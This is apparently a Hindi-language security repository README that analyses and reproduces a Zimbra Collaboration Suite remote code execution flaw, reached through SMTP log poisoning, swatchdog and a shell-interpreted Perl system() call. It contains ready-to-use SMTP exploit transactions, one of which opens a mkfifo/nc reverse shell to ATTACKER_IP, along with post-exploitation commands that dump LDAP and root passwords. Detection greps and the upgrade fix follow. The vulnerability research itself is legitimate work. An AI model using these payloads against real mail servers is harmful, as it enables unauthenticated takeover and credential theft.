
ज़िम्ब्रा कोलैबोरेशन सूट RCE — SMTP लॉग पॉइज़निंग → स्वैचडॉग → OS कमांड इंजेक्शन (CVSS 8.9, CISA KEV)
नोट: यह रिपॉज़िटरी CVE-2026-73570 का एक स्वतंत्र तकनीकी विश्लेषण और PoC पुनरुत्पादन है। यह मूल भेद्यता रिपोर्ट नहीं है।
Zimbra Collaboration Suite RCE — SMTP लॉग पॉइज़निंग → swatchdog → OS कमांड इंजेक्शन (CVSS 8.9, CISA KEV)
प्रकार: OS कमांड इंजेक्शन → अनप्रमाणित RCE
वेक्टर: SMTP लॉग पॉइज़निंग → swatchdog → dosnmp स्ट्रिंग-फ़ॉर्म शेल एक्सपैंशन
विक्रेता/CVE प्रभावित रेंज: Zimbra Collaboration Suite < 10.1.20
पूर्वापेक्षाएँ: zimbra-snmp इंस्टॉल होना आवश्यक; SNMP सूचनाएँ सक्षम होना आवश्यक
CVSS: 8.9 (उच्च)
CISA KEV: हाँ — CISA Known Exploited Vulnerabilities Catalog में जोड़ा गया
पैच: Zimbra 10.1.20 (2026-07-20 को जारी)
संस्करण-रेंज नोट: विक्रेता/CVE मेटाडेटा में प्रभावित संस्करणों को Zimbra < 10.1.20 के रूप में सूचीबद्ध किया गया है। हालाँकि, इस शोध के दौरान जाँचे गए Zimbra 10.1.0 स्रोत में पहले से ही सुरक्षित सूची-रूप
system()कॉल का उपयोग किया गया था। इससे संकेत मिलता है कि भेद्य स्ट्रिंग-फ़ॉर्म कार्यान्वयन किसी मध्यवर्ती बिल्ड में पेश किया गया था और बाद में 10.1.20 में इसे ठीक किया गया, लेकिन रिपॉज़िटरी इतिहास से यह सत्यापित नहीं किया गया कि यह रिग्रेशन किस सटीक संस्करण में पेश हुआ था।
यह भेद्यता /opt/zimbra/conf/swatchrc.in में स्थित है, जो dosnmp फ़ंक्शन के अंदर है और Zimbra सेवा की स्थिति बदलने पर SNMP ट्रैप सूचनाएँ भेजने के लिए ज़िम्मेदार है।
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
कमजोर कार्यान्वयन Perl के system() के स्ट्रिंग रूप का उपयोग करता है। परिणामी कमांड को एक शेल द्वारा व्याख्यायित किया जाता है, जिससे शेल मेटाकैरेक्टर और कमांड प्रतिस्थापन जैसे कि $args{SERVICE} में निहित $(...) का मूल्यांकन होने देता है।
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
मुख्य सुरक्षा सुधार स्ट्रिंग-रूप से सूची-रूप system() में स्विच करना है, जो हमलावर-नियंत्रित डेटा की शेल व्याख्या को रोकता है।
सूची रूप में, निष्पादन योग्य और उसके आर्ग्युमेंट अलग-अलग पास किए जाते हैं। $(cmd) जैसे मान शेल सिंटैक्स के बजाय शाब्दिक डेटा के रूप में माने जाते हैं।
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
मुख्य मुद्दा संपूर्ण डेटा प्रवाह है:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
Postfix विशेष रूप से तैयार किए गए quoted local-part को स्वीकार करता है और उसे zimbra.log में दर्ज करता है। इसके बाद swatchdog मेल खाते लॉग सामग्री को सेवा-स्थिति इवेंट के रूप में व्याख्यायित करता है, जिससे हमलावर-नियंत्रित डेटा कमजोर system() इनवोकेशन तक पहुँच जाता है।
निम्नलिखित कमांड का परीक्षण केवल एक पृथक लैब वातावरण में किया गया था।
लक्ष्य SMTP सेवा से कनेक्ट करें:
nc <target> 25
एक विशेष रूप से तैयार किया गया SMTP ट्रांज़ैक्शन भेजें:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
यदि शोषण सफल होता है, तो /tmp/pwned_rce में इसके समान आउटपुट होता है:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
यह zimbra उपयोगकर्ता के संदर्भ में कमांड निष्पादन की पुष्टि करता है।
हमलावर मशीन पर एक लिसनर प्रारंभ करें:
nc -lvnp 4444
फिर SMTP के माध्यम से पेलोड वितरित करें:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
सफल शोषण के परिणामस्वरूप zimbra उपयोगकर्ता के रूप में चलने वाला एक इंटरैक्टिव शेल प्राप्त होता है।
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
इस शोध के दौरान जाँचे गए Zimbra 10.1.0 स्रोत में पहले से ही सुरक्षित सूची-रूप system() कार्यान्वयन मौजूद था।
इसलिए, इस लैब में उपयोग किए गए स्टॉक 10.1.0 इंस्टॉलेशन को इस बात का प्रमाण नहीं माना गया कि Zimbra 10.1.0 स्वयं असुरक्षित था।
CVE-2026-73570 द्वारा वर्णित असुरक्षित स्थिति को पुनः उत्पन्न करने के लिए, swatchrc.in को मैन्युअल रूप से संशोधित करके असुरक्षित स्ट्रिंग-रूप system() कार्यान्वयन का उपयोग किया गया।
मूल कॉन्फ़िगरेशन का बैकअप लें:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
इसके बाद इन्सुलेटेड लैब में Root Cause अनुभाग में दिखाए गए स्ट्रिंग-फ़ॉर्म कार्यान्वयन को लागू करके और Zimbra लॉग के विरुद्ध swatchdog चलाकर भेद्य व्यवहार को पुनः उत्पन्न किया जा सकता है।
उदाहरण:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
यह लैब संशोधन केवल कमज़ोर डेटा प्रवाह को पुनः उत्पन्न करने और विश्लेषण करने के लिए मौजूद है। इसे इस बात के प्रमाण के रूप में नहीं समझा जाना चाहिए कि असंशोधित 10.1.0 बिल्ड कमज़ोर था।
सफल शोषण zimbra उपयोगकर्ता के रूप में कमांड निष्पादन प्रदान करता है।
निष्पादन संदर्भ की पुष्टि करें:
id
उदाहरण:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Zimbra का स्थानीय कॉन्फ़िगरेशन समझौता किए गए सेवा खाते के लिए उपलब्ध क्रेडेंशियल्स को उजागर कर सकता है।
उदाहरण के लिए:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
ये क्रेडेंशियल्स Zimbra की LDAP डायरेक्टरी तक पहुँच प्रदान कर सकते हैं और zimbra उपयोगकर्ता के रूप में कमांड निष्पादन प्राप्त करने के post-exploitation प्रभाव को प्रदर्शित करते हैं।
swatchdog service-status पैटर्न वाली SMTP प्राप्तकर्ता प्रविष्टियों के लिए Postfix/Zimbra लॉग खोजें:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
उद्धृत local-parts के भीतर command-substitution सिंटैक्स के लिए एक व्यापक खोज:
grep -E 'to=<"[^"]*\$\([^"]*\)"@' /var/log/zimbra.log
मिलानों को शोषण के प्रयास का प्रबल संकेतक माना जाना चाहिए और तुरंत जाँच की जानी चाहिए।
सफल कमांड निष्पादन की पुष्टि के लिए सहसंबद्ध साक्ष्य की आवश्यकता होती है, जैसे:
zimbra के रूप में चल रही अप्रत्याशित प्रक्रियाएँ;/tmp के अंतर्गत;Zimbra Collaboration Suite को 10.1.20 या उससे नए संस्करण में अपग्रेड करें।